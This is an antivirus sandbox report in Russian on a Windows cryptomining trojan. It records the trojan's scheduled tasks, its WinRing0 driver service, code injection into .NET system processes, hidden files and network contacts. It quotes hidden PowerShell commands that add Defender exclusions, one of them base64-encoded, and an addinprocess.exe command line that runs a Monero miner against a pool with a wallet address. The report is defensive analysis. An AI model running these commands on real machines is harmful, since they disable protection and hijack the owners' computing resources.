Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\jvgxwsz
- <SYSTEM32>\tasks\standardname
- <SYSTEM32>\tasks\djrht
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys'
Создает следующие сервисы
- 'WinRing0_1_2_0' %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WinRing0x64.sys
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "Add-MpPreference -ExclusionPath '%APPDATA%\NextSink\StandardName.exe' -Force ; Add-MpPreference -ExclusionPath '%WINDIR%\Microsoft.NET\Framework64\v4.0....
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAEQALQBtAFAAcAByAEUAZgBFAHIAZQBuAEMAZQAgAC0ARQB4AGMAbABVAFMAaQBvAE4AUAByAE8AYwBFAHMAUwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4A...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\regsvcs.exe
- %WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\content\1656-5220-<Имя файла>.exe-15-44-13-296.dump
- %TEMP%\content\1656-5220-<Имя файла>.exe-15-44-14-546.dump
- %TEMP%\content\1656-5220-<Имя файла>.exe-15-44-14-566.dump
- %TEMP%\content\1656-5220-<Имя файла>.exe-15-44-24-222.dump
- %APPDATA%\nextsink\standardname.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- %TEMP%\content\5968-6060-standardname.exe-15-44-56-124.dump
- %TEMP%\content\5968-6060-standardname.exe-15-44-57-576.dump
- %TEMP%\content\5968-6060-standardname.exe-15-44-57-589.dump
- %TEMP%\content\5968-6060-standardname.exe-15-44-59-904.dump
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\standardname.exe.log
- %TEMP%\content\6096-5116-regsvcs.exe-15-45-05-248.dump
- %TEMP%\content\6096-5116-regsvcs.exe-15-45-06-073.dump
- %TEMP%\content\6096-5116-regsvcs.exe-15-45-06-086.dump
- %TEMP%\content\6096-4960-regsvcs.exe-15-45-14-991.dump
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\nextsink\standardname.exe
Удаляет файлы, которые сам же создал
- <SYSTEM32>\tasks\jvgxwsz
- <SYSTEM32>\tasks\djrht
Сетевая активность
Подключается к
- '21#.#1.64.102':39003
- 'co####op-claiim.com':443
- '21#.#1.64.102':49301
- 'mo#####.map.fastly.net':443
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
TCP
Другие
- '21#.#1.64.102':39003
- 'co####op-claiim.com':443
- '21#.#1.64.102':49301
UDP
- DNS ASK co####op-claiim.com
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Другое
Создает и запускает на исполнение
- '%APPDATA%\nextsink\standardname.exe'
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "System.Collections.Generic.List`1[System.String]"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\regsvcs.exe' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 21#.#1.64.102:49301 -u 863H9VJywAtP1kQPTFug7GL7A7EQ97KHu3SPWmR1GMcBDQEit1eGhZv2ghCZMgTmNPcC85GkEtJBVb37hK5Lz1E35GHs3vH.Worker_CPU -p x --cpu-max-threads-hint=50 -k (со скрытым окном)
